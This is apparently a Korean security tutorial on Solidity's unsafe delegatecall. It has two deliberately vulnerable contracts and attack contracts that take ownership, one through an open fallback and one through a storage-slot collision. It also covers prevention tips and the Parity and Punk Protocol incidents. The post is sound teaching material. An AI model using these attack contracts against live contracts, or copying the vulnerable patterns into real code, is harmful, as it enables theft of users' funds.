1. Concept
먼저 DelegateCall과 일반 Call의 차이점에 대해 살펴보자.

일반적인 call의 경우, callee contract의 함수를 callee의 context에서 실행한다. 따라서 msg.sender가 다음과 같이 설정된다.

그러나 delegatecall의 경우, callee contract의 함수를 caller의 context에서 실행한다. 따라서 함수를 실행했을 때 address(this)와 msg.sender가 A contract의 상태로 바뀐 것을 확인할 수 있다.

이러한 Delegatecall은 장점을 가지고 있습니다. 블록체인의 특성상 솔리디티로 작성된 코드가 이더리움 체인 위에 올라간다면, 이는 수정이 불가능합니다. 그러나 delegatecall을 이용하면 업그레이드가 가능한 컨트랙트를 만들 수 있습니다.

예를 들어서 설명해보겠습니다. A라는 개인과 B 은행이 있다고 해봅시다. 먼저 call을 사용하는 경우를 생각해봅시다. 이때에는 A에 해당되는 업무를 B에서 처리하기 위해 A의 정보를 B가 직접 가지고 있어야 합니다. 왜냐하면 A가 B의 함수를 호출할 때 call로 호출하므로 B의 context에서 함수가 실행되기 때문입니다.

이러한 경우, 만약 A가 기능이 더 좋다고 하는 B’ 은행으로 바꿨는데 B’ 컨트랙트에 A의 정보를 저장하지 않았다면 B’의 함수만으로 A의 요청을 처리해줄 수 없게 됩니다.
그렇다면 delegatecall을 사용하는 경우는 어떨까요?

이때에는 B은행에서 자신의 함수로 A의 요청을 처리해주긴 하지만, 해당 처리 과정의 A의 context에서 일어납니다. 즉, A가 가지고 있는 A의 정보를 바탕으로 처리되고, B는 단지 함수 기능만을 제공합니다.

따라서 A가 기능이 더 좋은 B’ 은행으로 바꾸더라도, B’ 은행이 더 좋은 기능을 가지고 A의 context로 와서 A의 요청을 처리해주는 것입니다. 은행을 단지 더 좋은 기능을 가진 곳으로 바꿀 수 있듯이, 우리는 delegatecall을 이용하여 기능적인 함수를 구현한 contract를 upgrade할 수 있는 것입니다.
이제 delegatecall이 안전하지 않게 사용됐을 경우 발생할 수 있는 문제점에 대해 알아보겠습니다.

먼저 은행의 기능을 맡은 B Contract가 있습니다. B에는 계좌를 신설해주는 기능이 존재하는데, 이때 특정 주소만 계좌에서 출금할 수 있도록 설정해 줄 수 있습니다.

A contract에서 B contract에 요청하여 계좌를 신설했습니다. 이때 B contract의 함수를 호출하는 것은 delegatecall을 통해 이루어집니다. 해당 계좌에서 출금할 수 있는 주소 목록에는 A contract의 owner인 Alice만 포함되어 있습니다.

위에서 설명했던 것에 대입해본다면, 공격자인 Eve가 A contract를 호출하고, 호출당한 A contract에서 B contract에 delegatecall을 수행할 수 있습니다. 그러면 B의 함수는 A의 context에서 실행되고, A의 context에서 msg.sender는 Eve이므로, 계좌의 출금 가능 주소에 msg.sender인 Eve의 주소를 추가할 수 있게 됩니다.
2. Code
EX1
contract Lib{
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib){
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
Alice는 Lib 컨트랙트와 HackMe 컨트랙트를 배포한다.
HackMe 컨트랙트의 owner 변수는 처음 배포될 때 msg.sender로 정해진다.
그런데 fallback 함수를 보면 msg.data를 인자로 Lib 컨트랙트의 함수를 delegatecall하고 있다!
우리는 위의 delegatecall을 이용하여 HackMe의 owner를 바꿔볼 것이다.
contract Attack{
address public hackMe;
constructor(address _hackMe){
hackMe = _hackMe;
}
function attack() public {
(bool success, ) = hackMe.call(abi.encodeWithSignature("pwn()"));
require(success, "Call to pwn() failed");
}
}
Eve가 Attack 컨트랙트를 배포한다. attack 함수를 보면 hackMe 컨트랙트의 pwn 함수를 호출하고 있다. 그런데 hackMe 컨트랙트에는 pwn 함수가 없다! 따라서 fallback이 실행되고, msg.data가 abi.encodeWithSignature(”pwn()”)이므로 Lib 컨트랙트의 pwn 함수를 delegatecall하게 된다.

pwn는 owner를 msg.sender로 정의하는 함수인데, 최초의 msg.sender가 Attack이고 delegatecall로 pwn을 호출한 것이기에 HackMe의 owner가 Attack 컨트랙트의 address로 바뀌게 된다!
+ 참고
EX2
contract Lib {
uint public someNumber; // slot 0
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2
constructor(address _lib) public {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
Alice는 Lib 컨트랙트와 HackMe 컨트랙트를 배포한다.
HackMe 컨트랙트의 doSomething 함수에서 delegatecall을 사용하여 lib 컨트랙트의 doSomething 함수를 자신의 context에서 실행시킨다.
그런데 여기에는 문제가 존재한다. 아까 배웠던 slot 때문!

이런 상태에서 delegatecall을 사용하면 내가 원하는 것과 다른 결과를 초래할 수 있다.
contract Attack {
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2
HackMe public hackMe; // slot 3
constructor(HackMe _hackMe) public {
hackMe = HackMe(_hackMe);
}
function attack() public {
hackMe.doSomething(uint256(uint160(address(this))));
hackMe.doSomething(1);
}
function doSomething(uint _num) public {
owner = msg.sender;
}
}
Eve가 Attack 컨트랙트를 배포한다. Attack 컨트랙트는 HackMe 컨트랙트와 변수 순서가 같다. (slot 3의 경우 HackMe에서 비어있으므로 상관 x)
먼저 attack() 함수를 보자. hackMe의 doSomething함수를 호출하고, 인자로는 this contract의 주소를 uint256으로 바꿔서 보내고 있다. (address의 경우 20byte이므로 uint160으로 먼저 바꿔주고, 이후에 이를 uint256으로 다시 바꿔줌.)
해당 줄을 실행하면 HackMe 컨트랙트의 doSomething 함수에서 delegatecall을 하여 Lib 컨트랙트의 doSomething 함수를 호출한다. 그런데 Lib의 doSomething 함수는 컨트랙트의 slot 0에 있는 변수 값을 변경하므로, HackMe의 context에서는 someNumber가 아니라 lib 변수를 변경하게 된다.

다음 줄을 보면 hackMe의 doSomething 함수를 다시 호출하고 있다. (인자는 아무값이나 넣어도 상관 x) hackMe의 doSomething에서는 마찬가지로 lib의 doSomething 함수를 delegatecall할텐데, 이전 공격으로 인해 lib 변수가 Lib의 address에서 Attack의 addresss로 바뀌어있다. 따라서 Attack의 doSomething 함수를 delegatecall하게 된다!

Attack의 doSomething 함수는 owner를 msg.sender로 바꾸는 함수였다. Attack의 attack 함수를 실행한 것이기에 msg.sender는 Attack 컨트랙트이며, Attack 컨트랙트는 HackMe 컨트랙트와 변수 순서를 맞춰서 선언했기에 slot도 동일하다. 따라서 HackMe의 owner가 Attack 컨트랙트의 주소로 바뀌게 된다.
3. Prevention
- modifier를 잘 활용하여 delegatecall을 할 수 있는 address를 제한한다.
- state variable의 순서를 잘 고려하여 선언한다.
4. Real World Example

parity wallet은 암호화폐 지갑 어플리케이션입니다. 그런데 일반 지갑과는 다르게 다중 서명(Multi Signature) 지갑을 지원합니다. 다중 서명 지갑은 트랜잭션 실행전에 여러 사람들에게 트랜잭션 실행에 대한 동의 여부를 받고 미리 설정한 최소 동의수를 넘으면 트랜잭션을 실행시킵니다. 예를 들어, 트랜잭션이 발생하기 위해 3개의 키 중 2개의 키가 필요하다면 거래소가 1개, 보안업체가 1개, 개인이 1개를 가지고 사용하는 경우가 있다고 합시다. 만약에 개인의 부주의로 해커가 키를 탈취하더라도 나머지 2개의 키 중 1개가 더 필요하기 때문에 마음대로 트랜잭션을 발생시킬 수 없습니다.
새로운 지갑이 생성되면 initWallet 함수의 delegateCall을 통해 wallet 컨트랙트가 배포됩니다. 그런데 해당 함수의 delegateCall을 호출할 수 있는 주소의 제한이 없었기에 누구나 delegateCall을 발생시켜 wallet 소유자 목록에 본인의 주소를 추가할 수 있었습니다. 이는 다중 서명의 보안적 이점을 무력화시킬 수 있었습니다. 하루 최대 인출 금액을 증가시킨 후 한도 내 금액을 본인의 주소로 인출하는 공격이 이루어졌고, 이로 인해 약 150,000 이더에 해당하는 자금을 도난 당했습니다.

punk protocol은 Defi 연금 제도를 제공하는 프로토콜로, 고객마다 맞춤 조건을 설정해서 최고의 투자 조건을 사용합니다. punk protocol의 CompoundModel 컨트랙트의 Initialize 함수 매개변수 중 첫 번째 forgeAddress가 있어야 할 곳에 공격자의 컨트랙트 주소를 삽입하기 위해 delegateCall을 실행했습니다. forgeAddress가 공격자의 컨트랙트 주소로 되어있었고, withdrawToForge 함수를 사용하여 모든 자금을 공격자의 컨트랙트로 보냈습니다.
이렇게 890만 달러 이상의 손실이 발생했습니다. (2,995,824 USDC, 3,000,022 USDT, 2,954,191 DAI) 그런데 공격을 인지한 화이트 해커가 최초의 해커보다 먼저 거래를 실행해 2,954,191 DAI와 3,000,022 USDT를 회수했고, punk protocol 측에서 회수된 금액의 약 16%까지 100만 DAI의 수수료를 지불한 후 3,000,022 USDT + 1,954,191 DAI를 회수하는데 성공했습니다.
5. Reference
- https://medium.com/decipher-media/hacking-series-02-unsafe-delegatecall-81463179a88c – parity wallet attack
- https://medium.com/punkprotocol/punk-finance-fair-launch-incident-report-984d9e340eb – punk protocol attack
- https://www.youtube.com/watch?v=bqn-HzRclps&list=PLO5VPQH6OWdWsCgXJT9UuzgbC8SPvTRi5&index=5&ab_channel=SmartContractProgrammer – Unsafe Delegatecall video